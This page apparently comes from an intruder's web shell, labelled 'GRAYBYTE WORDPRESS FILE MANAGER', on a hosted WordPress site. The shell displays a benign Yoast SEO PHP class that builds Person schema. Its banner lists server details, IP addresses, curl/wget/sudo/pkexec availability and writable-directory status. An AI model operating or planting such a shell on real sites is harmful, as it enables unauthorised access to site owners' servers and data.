✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/inlite/application/enhancement//person-schema-enhancer.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application\Enhancement;

use Exception;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Schema_Aggregator\Domain\Enhancement\Schema_Enhancement_Interface;
use Yoast\WP\SEO\Schema_Aggregator\Domain\Schema_Piece;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Enhancement\Person_Config;

/**
 *  The Person schema pieces enhancer.
 */
class Person_Schema_Enhancer extends Abstract_Schema_Enhancer implements Schema_Enhancement_Interface {

	/**
	 * The config.
	 *
	 * @var Person_Config
	 */
	private $config;

	/**
	 * Sets the Person_Config instance.
	 *
	 * @param Person_Config $config The Person_Config instance.
	 * @return void
	 * @required
	 */
	public function set_person_config( Person_Config $config ) {
		$this->config = $config;
	}

	/**
	 * Enhances specific Article schema pieces.
	 *
	 * @param Schema_Piece $schema_piece The schema piece to enhance.
	 * @param Indexable    $indexable    The indexable object that is the source of the schema piece.
	 *
	 * @return Schema_Piece The enhanced schema piece.
	 */
	public function enhance( Schema_Piece $schema_piece, Indexable $indexable ): Schema_Piece {
		$schema_data = $schema_piece->get_data();
		if ( isset( $schema_data['@type'] ) && $schema_data['@type'] === 'Person' ) {
			$schema_data = $this->enhance_schema_piece( $schema_data, $indexable );
		}

		return new Schema_Piece( $schema_data, $schema_piece->get_type() );
	}

	/**
	 * Enhance a single schema piece
	 *
	 * @param array<string> $schema_data The schema data to enhance.
	 * @param Indexable     $indexable   The indexable object that is the source of the schema piece.
	 *
	 * @return array<string> The enhanced schema data.
	 */
	protected function enhance_schema_piece( array $schema_data, Indexable $indexable ): array {
		try {
			// Add jobTitle if enabled and not already present.
			if ( $this->config->is_enhancement_enabled( 'person_job_title' ) && ! isset( $schema_data['jobTitle'] ) ) {
				$job_title = $this->get_person_job_title( $indexable->author_id );
				if ( $job_title !== null && $job_title !== '' ) {
					$schema_data['jobTitle'] = $job_title;
				}
			}

			return $schema_data;
		} catch ( Exception $e ) {
			return $schema_data;
		}
	}

	/**
	 * Get person job title
	 *
	 * Retrieves job title from user meta.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string|null Job title or null if unavailable.
	 */
	private function get_person_job_title( int $user_id ): ?string {
		$job_title = \get_user_meta( $user_id, 'job_title', true );

		if ( empty( $job_title ) ) {
			return null;
		}

		return \trim( $job_title );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
19 Sep 2026 8.40 AM
docteuh / users
0755
front-end
--
10 Sep 2026 3.11 PM
docteuh / users
0755
abstract-schema-enhancer.php
0.914 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
article-schema-enhancer.php
6.333 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
person-schema-enhancer.php
2.711 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-enhancement-factory.php
1.661 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF